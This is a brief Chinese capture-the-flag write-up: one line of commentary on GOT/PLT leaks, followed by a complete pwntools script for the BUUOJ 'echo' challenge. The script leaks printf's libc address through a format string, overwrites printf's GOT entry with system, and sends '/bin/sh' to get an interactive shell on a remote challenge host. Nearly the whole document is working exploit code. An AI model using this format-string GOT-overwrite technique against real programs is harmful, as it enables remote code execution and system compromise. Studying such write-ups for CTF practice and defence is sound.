格式化字符串，跟以前差不多，如果说刚开始泄露system的got其实是不对的，那个时候的值是错误的，这里就涉及到got表与plt表的知识了，应该以前也学过问题不大

    1. from pwn import*
    2. from LibcSearcher import*
    3. context.log_level = 'debug'
    4. libc = ELF('libc-2.232.so')
    5. #io = process('./echo')
    6. io = remote("node4.buuoj.cn",28828)
    7. elf =ELF('./echo')
    8. def debug():
    9.     gdb.attach(io)
    10.     pause()
    11. printf_got = elf.got['printf']
    12. system_got = elf.got['system']
    13. payload = p32(printf_got)+"%7$s"
    14. io.sendline(payload)
    15. printf_addr = u32(io.recvuntil('\xf7')[-4:])
    16. #libc= LibcSearcher('printf',printf_addr)
    17. system_addr = printf_addr-libc.sym['printf']+libc.sym['system']
    18. #system_addr = u32(io.recvuntil('\xf7')[-4:])+0x22860
    19. print("system:"+hex(system_addr))
    21. payload =fmtstr_payload(7,{printf_got: system_addr})
    22. io.sendline(payload)
    23. #debug()
    24. io.sendline("/bin/sh\x00")
    25. io.interactive()